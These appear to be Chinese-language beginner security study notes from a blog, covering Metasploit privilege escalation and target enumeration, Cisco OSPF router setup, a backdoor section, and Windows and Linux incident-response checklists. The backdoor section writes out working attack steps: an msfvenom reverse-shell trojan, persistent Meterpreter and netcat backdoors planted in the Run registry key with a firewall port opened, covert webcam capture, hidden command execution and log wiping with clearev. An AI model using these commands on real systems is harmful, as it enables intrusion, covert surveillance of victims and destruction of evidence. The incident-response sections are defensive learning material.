目录

一.操作系统权限和密码破解

二.通信常识

三.对后门的简单认识(在kali中)

四.windows应急响应

五.Linux应急响应(kali)


一.操作系统权限和密码破解

1.系统权限
  
Windows:system和administrator或者其他

Linux:root或者其他

CPU:
os(操作系统)
ring0(驱动程序)
ring3(大多数软件)

2.操作系统提权:
ms14_058,ms16_016
目标x32位系统
use exploit/windows/local/ms14_058...
show options
set session 1
exploit
如果使用成功会返回一个新的session号

3.目标信息采集:

需要进入到一个sessions里
run post/windows/gather/forensics/xxxxx  // 取证模块

run post/windows/gather/checkvm            //检测是否为虚拟机

run post/windows/gather/enum_services   //查看运行的服务

run post/windows/gather/enum_applications  // 查看电脑安装了哪些应用

run post/windows/gather/enum_shares  //查看共享

run post/windows/gather/dumplinks   //查看最近操作(安装东西)

run post/windows/gather/enum_patches    //查看用户安装了哪些补丁

二.通信常识

1.OSI七层
 ISO-OSI七层模型:

物理层:在线路上传播,光电,电磁波等
数据链路层:用以太网交换机进行数据交换, 定义数据如何格式化,进行编址mac地址
网络层:数据传递,路由信息报文(路由器),选择最优路线访问目标(ip地址和路由协议)
传输层:端口之间通信
会话层:主机和主机之间的通信,可以管理结束程序之间的对话
表示层:数据以不同的方式表示出来,可以加密服务或格式化数据等
应用层:各种程序

2.路由器
以Cisco路由器为例子
基础指令:
en  //进入特权模式
conf t  // 进入全局配置模式
ho R1   //取名R1

优化指令:
no ip domain-lo   //不要查询出错的命令
line con 0   //进入console 0调试
no exec-t   //不要超时把我弹出
logg syn  //命令和弹出的内容换行显示

int [接口]   //进入某个接口进行配置
no sh  //物理开启接口
ip add [ip地址] [子网掩码]   // 配置ip地址

int loo [编号]    //环回口(本地测试)

sh ip int bri   //查看接口的所有信息
sh run    //查看路由器中所有配置

配置三台路由器:
R1
router ospf 1
router-id  1.1.1.1
net 192.168.1.0 0.0.0.255 a 0
net 1.1.1.1 0.0.0.0 a 0
net 13.13.13.0 0.0.0.255 a 0

R2
router os 1
router-id 2.2.2.2
net 2.2.2.2 0.0.0.0 a 0
net 192.168.2.0 0.0.0.255 a 0
net 23.23.23.0 0.0.0.255 a 0

R3(isp)
router os 1
router-id 3.3.3.3
net 3.3.3.3 0.0.0.0 a 0
net 13.13.13.0 0.0.0.255 a 0
net 23.23.23.0 0.0.0.255 a 0

sh ip os nei 查看ospf邻居

三.对后门的简单认识(在kali中)

1. 创建x64木马
msfvenom -p windows/x64/meterpreter/reverse_tcp lhost=【IP地址】 lport=4444 -f exe > msf.exe

run metsvc -A  设定端口上传后门文件,会发现打开了一个新的端口31337

use exploit/multi/handler
set payload windows/metsvc_bind_tcp
set lport 31337
set rhost [对方的ip]
exploit

将指令输入可以让对方连接上你

在session中启动
run persistence -A -S -U -i 60 -p 4321 -r [黑客ip]   //在对方电脑安装一个永久性的后门,并且每隔60s验证一次是否还存活,使用4321端口

2. msf关闭了,下次重开
use multi/handler
set payload windows/meterpreter/reverse_tcp
set lport 4321
set lhost [自己ip]
exploit

即使sessions -k [id] 过了60s还会回来

3.上传文件也可以安插永久后门(nc):
进入一个session中
upload /root/nc.exe c:\\

查看注册表里有什么
reg enumkey -k HKLM\\software\\microsoft\\windows\\currentversion\\run

把nc放到自动启动里
reg setval -k HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc -d 'c:\nc.exe -Ldp 444 -e cmd.exe'

查看代码写的对不对
reg queryval -k  HKLM\\software\\microsoft\\windows\\currentversion\\run -v nc

查看防火墙状态
netsh firewall show opmode

添加一个防火墙规则允许444端口通过
netsh firewall add portopening TCP 444 "FireWall" ENABLE ALL

目标主机重启之后
nc -v [目标ip] 444

4.其他命令
uictl [enable/disable] [keyboard/mouse/all] 开启/停用键盘/鼠标

webcam_list 查看摄像头
webcam_snap 通过摄像头拍照
webcam_stream 通过摄像头开启视频

execute 在目标上执行文件
execute -H -i -f cmd.exe 创建新的隐藏可交互的命令cmd.exe

getpid 获取当前进程的pid
ps 查看活跃进程
migrate [pid] 将meterpreter转移到某个pid中
kill [pid] 杀死某个进程

clearev 清除日志,清除windows里的应用程序,系统日志,安全日志

四.windows应急响应

1.一般的攻击方法
web入侵:
挂马,网页篡改(菠菜,黑帽seo),植入webshell,黑页,暗链等

主机入侵:
病毒木马,勒索病毒,远控后门,系统异常,RDP爆破,SSH爆破,主机漏洞,数据库入侵等

网络攻击:
DDOS/CC攻击,ARP攻击,DNS/HTTP劫持

路由器/交换机攻击:
内网病毒,配置错误,机器本身的漏洞

2. windows应急响应:

日志查看:
eventvwr.msc

文件分析:
临时目录排查
tmp/temp
C:\Users\Administrator\Local Settings\Temp
浏览器相关文件
C:\Users\Administrator\Local Settings\History

最近打开的文件||文件修改时间||hosts文件(在C盘Windows\system32\drivers\etc\hosts)

网络行为排查:
重要的辅助站点:
https://www.virustotal.com/
https://x.threatbook.cn/
https://beian.cndns.com/

网络连接排查
metstat -ano

流量分析
wireshark/burpsuite/charles

五.Linux应急响应(kali)

1.攻击后会出现的情况:

cpu飙升
服务器卡顿
异常流量
异常网络连接
服务器无法登录
僵尸网络
挖矿
dns服务器报毒

2.应急措施:
ifconfig
top -c
lsof -i -PnR 查看网络通信情况
ps aux | grep [PID] 查看进程信息
lsof -p [PID] 查看进程打开的文件
md5sum [文件名] 计算文件的md5值,如果被别人修改,md5值会发生变化

3.网络行为分析:
who
查看当前用户的登录信息

uname -a
查看系统信息

netstat -ano
所有网络连接

netstat -utnpl
查看带端口情况的

arp -a
查看arp表

4.进程检查
ps aux
ps -ef
top -c
lsof -p [pid]
lsof -i
lsof -c

5.启动项排查
/etc/init.d/
/etc/xinetd.d

查看rc.local文件
/etc/rc.d/rc[0-6].d
/etc/profile.d/

init文件名,系统启动的第一个脚本
init.d目录名,服务启动脚本
rcX.d目录名,

6.计划任务
/etc/crontab
/var/spool/cron/root

crontab -l

crontab -r

crontab -e

7.服务排查

cat /etc/services

1-1024 系统保留,大多数情况只能由root使用
1024-4999 由客户端程序自由分配
5000-65535 由服务端程序自由分配

服务自启动
chkconfig --level 2345 httpd on

0 = 关机
1 = 单用户
2 = 有网络连接的多用户命令行模式
3 = 无网络连接的多用户命令行模式
4 = 不可用
5 = 带图形界面的多用户模式
6 = 重新启动

chkconfig --list 查看服务自启动状态
--del

8.文件检查

rpm -Va 查看所有软件包的变化情况

/tmp
/etc/init.d
/usr/bin
/usr/sbin
/root
/boot
/bin
/sbin
/etc/passwd
/etc/shadow

ls -alt
按时间排序

find / *.py -perm 4777
ls -al /tmp | grep "Feb 10"

9.帐号检查

w
查看某一时刻用户行为

cat /etc/passwd
cat /etc/shadow

less /etc/passwd

usermod -L [user]
userdel [user]
userdel -r [user]

删除用户之后,/home目录下的用户名文件夹也删了

last 查看成功的登录 /var/log/wtmp
lastb 登录失败情况/var/log/btmp
lastlog 查看上一次用户登录情况 /var/log/lastlog

last -x reboot 查看重启记录
last -x shotdown 查看关机记录

10.历史命令检查

.bash_history

history 查看历史命令
history -c  清空历史命令

cat /etc/hosts

处置命令:
chattr +i [目标文件]
chmod 000 [目标文件]

日志位置:
/var/log/

日志配置文件
/etc/rsyslog.conf

网络安全入门day2相关推荐

  1. 网络安全入门:什么是防火墙,防火墙有哪些功能

    网络安全领域是安全行业最基本的领域,研究的技术范畴主要围绕防火墙/NGFW/UTM.网闸技术.入侵检测/防御.VPN网关(IPsec/SSL).抗DDOS.上网行为管理.负载均衡/应用交付.流量分析. ...

  2. 网络安全入门实验04:病毒专杀工具的制作

    目录 0.实验要求 1.病毒行为分析 1.1  火绒剑监控 1.1.1 对docx进行的操作 1.1.2 创建了readme.txt 1.1.3  创建了自删除脚本.执行并删除 1.1.4 补充 1. ...

  3. 网络安全入门教程(非常详细),从零基础入门到精通,看完这一篇就够了

    前言 "没有网络安全就没有国家安全".当前,网络安全已被提升到国家战略的高度,成为影响国家安全.社会稳定至关重要的因素之一. 网络安全行业特点 1.就业薪资非常高,涨薪快 2021 ...

  4. 网络安全入门必学内容有哪些?网络安全最全知识点汇总来了

    随着时代的发展,经济.社会.生产.生活越来越依赖网络.而随着万物互联的物联网技术的兴起,线上线下已经打通,虚拟世界和现实世界的边界正在变得模糊.这使得来自网络空间的攻击能够穿透虚拟世界的边界,直接影响 ...

  5. 【愚公系列】2023年06月 网络安全高级班 001.网络安全入门指南

    文章目录 一.学习导论 1.什么是网络安全 2.网络安全发展前景 二.网络安全入门指南 1.全球网络发展态势 2.国内网络发展态势 3.网络安全行业指南与技能清单 4.网络安全学习路线图详解 5.网络 ...

  6. 【网络安全入门】学习网络安全必须知道的100 个网络基础知识

    什么是链接? 链接是指两个设备之间的连接.它包括用于一个设备能够与另一个设备通信的电缆类型和协议. 2 OSI 参考模型的层次是什么? 有 7 个 OSI 层:物理层,数据链路层,网络层,传输层,会话 ...

  7. 什么是CTF?打CTF的意义是什么?(附网络安全入门教程)

    什么是CTF? CTF在网络安全领域中指的是网络安全技术人员之间进行技术竞技的一种比赛形式.它起源于1996年DEFCON全球黑客大会,以代替之前黑客们通过互相发起真实攻击进行技术比拼的方式.发展至今 ...

  8. 《网络安全入门到精通》- 3.1 - 数据库 - MySQL数据库

    「作者简介」:CSDN top100.阿里云博客专家.华为云享专家.网络安全领域优质创作者 「订阅专栏」:此文章已录入专栏<网络安全入门到精通> MySQL数据库 一.环境准备 1. My ...

  9. 《网络安全入门到精通》-1.2 - Linux系统 - firewalld防火墙iptables防火墙

    「作者简介」:CSDN top100.阿里云博客专家.华为云享专家.网络安全领域优质创作者 「订阅专栏」:此文章已录入专栏<网络安全入门到精通> Linux防火墙 Frewalld 1.常 ...

最新文章

  1. Oracle 不使用DBCA在Oracle 11中删除数据库
  2. Vue安装jquery插件
  3. android 解决小米手机上选择照片路径为null的问题
  4. python3学习第三周
  5. IBASE read buffer
  6. 搭建Hexo博客(一)-创建Hexo环境
  7. Win32 程序运行原理
  8. Google Maps API 调用实例
  9. python编程规则_python编程规则
  10. 您已到达6300千米深度,速度8 公里/秒,正在穿过地心 [置顶]
  11. Instruments性能优化-Core Animation
  12. php设置自动关机开机,设置电脑自动开机关机方法介绍
  13. bzoj 2437: [Noi2011]兔兔与蛋蛋
  14. 《学习OpenCV3》第4章 图像和大型数组类型(持续更新)
  15. [Python] 关键字 yield 用法详解
  16. 关于2018、2019后的 MacBook 苹果电脑增加T2安全芯片造成无法U盘启动解决办法
  17. 【React 】基于Antd Design的CheckBox多选框组件封装
  18. 南开大学c语言100题,计算机二级C语言上机(南开大学)100题.doc
  19. 面试题:高速PCB一般布局、布线原则
  20. 5.8Gwifi信道

热门文章

  1. python连接MySQL数据库实现界面化图书管理系统
  2. 微信小程序购物车基本功能
  3. C++桌面计算器(第一版)
  4. 对亲人发脾气,对陌生人客气,这就是人生!
  5. 网聊是不是就要劈腿上床?
  6. 汇编计算机钢琴流程图,汇编模拟电子琴程序
  7. 仪表盘服务(Dashboard)安装配置
  8. c语言幸运数字程序设计,c语言实现:4和7幸运数字的题
  9. 关于图像压缩JPEG2000的Python代码实现
  10. 安卓效率微商_机友大师app-机友大师 安卓版v2.3.4-pc6手机下载